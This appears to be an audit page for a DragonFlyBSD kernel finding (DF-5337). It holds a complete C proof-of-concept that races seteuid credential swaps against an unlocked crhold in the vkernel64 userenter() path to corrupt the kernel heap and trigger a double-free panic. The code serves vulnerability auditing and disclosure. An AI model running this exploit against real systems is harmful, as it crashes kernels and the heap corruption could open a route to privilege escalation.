⬢ DragonFlyBSD Kernel Audit
DF-5337 / df5337.c
← back to finding ↓ download raw
/*
 * DF-5337 — vkernel64 userenter() ucred cache race PoC.
 *
 * Bug: sys/platform/vkernel64/x86_64/trap.c:167-173 userenter() does
 *   if (curtd->td_ucred != curp->p_ucred) {
 *       ncred = crhold(curp->p_ucred);      <-- NO p_spin (pc64 has it)
 *       ...
 *   }
 * racing cratom_proc() (kern/kern_prot.c:1166-1193) which swaps
 * p_ucred under p->p_spin and then crfree()s the old cred -- kfree(M_CRED)
 * when it hits ref 0.  A thread hitting the window between the second
 * load of curp->p_ucred and crhold()'s atomic_add does an atomic_add on a
 * kfree'd cred -> refcount resurrection -> double free / premature free
 * of a live cred -> vkernel kernel heap corruption
 * (panic "Freeing already free credential!" is the direct signature).
 *
 * Trigger (in-vkernel userland, needs no privilege beyond ability to
 * change creds -- here run as root inside the vkernel; every thread both
 * churns creds (seteuid 1<->0, each call -> cratom_proc -> swap+crfree)
 * and returns through userenter()'s racy path (geteuid syscall).  Run on
 * an SMP vkernel (-n 2).
 *
 * Modes:
 *   df5337 corrupt [threads] [seconds]   churn+victim (the race)
 *   df5337 control [threads] [seconds]   churn only, no victim syscalls
 *                                        (safe: existing p_spin locking)
 *
 * Success criterion: "corrupt" crashes/panics the vkernel (typically
 * "Freeing already free credential!") while "control" survives.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <pthread.h>

static volatile int stop;
static unsigned long total_ops;

/*
 * churn+victim.  seteuid(1) succeeds whenever euid is currently 0
 * (root check) and fails harmlessly otherwise; seteuid(0) ALWAYS
 * succeeds (0 == ruid and 0 == svuid) and runs cratom_proc() whenever
 * euid was 1.  So the pair churns creds under any interleaving, and no
 * thread ever exits.  Each seteuid runs cratom_proc() (p_ucred swap +
 * crfree of the old cred); each geteuid() returns through userenter()'s
 * UNLOCKED crhold cache.  Threads on separate vkernel CPUs race each
 * other's swap+free.
 */
static void *
racer(void *arg)
{
	unsigned long n = 0;

	while (!stop) {
		if (seteuid(1) == 0)
			n++;
		if (seteuid(0) == 0)
			n++;
		(void)geteuid();
		n++;
		if ((n & 0xFFFF) == 0)
			__sync_fetch_and_add(&total_ops, 65536);
	}
	__sync_fetch_and_add(&total_ops, n & 0xFFFF);
	return (NULL);
}

static void *
churner_only(void *arg)
{
	unsigned long n = 0;

	while (!stop) {
		if (seteuid(1) == 0)
			n++;
		if (seteuid(0) == 0)
			n++;
		if ((n & 0xFFFF) == 0)
			__sync_fetch_and_add(&total_ops, 65536);
	}
	__sync_fetch_and_add(&total_ops, n & 0xFFFF);
	return (NULL);
}

int
main(int ac, char **av)
{
	const char *mode = (ac > 1) ? av[1] : "corrupt";
	int nthreads = (ac > 2) ? atoi(av[2]) : 4;
	int secs = (ac > 3) ? atoi(av[3]) : 120;
	pthread_t t[32];
	int i;

	if (nthreads > 32)
		nthreads = 32;

	printf("DF5337: mode=%s threads=%d secs=%d uid=%d\n",
	       mode, nthreads, secs, getuid());
	fflush(stdout);

	for (i = 0; i < nthreads; ++i) {
		void *(*fn)(void *) =
		    strcmp(mode, "control") ? racer : churner_only;
		if (pthread_create(&t[i], NULL, fn, NULL) != 0) {
			perror("pthread_create");
			return 1;
		}
	}
	for (i = 0; i < secs && !stop; ++i) {
		sleep(1);
		if (i % 10 == 9) {
			printf("DF5337: t=%ds ops=%lu\n", i + 1, total_ops);
			fflush(stdout);
		}
	}
	stop = 1;
	for (i = 0; i < nthreads; ++i)
		pthread_join(t[i], NULL);
	printf("DF5337: DONE ops=%lu (vkernel survived this run)\n", total_ops);
	fflush(stdout);
	return (0);
}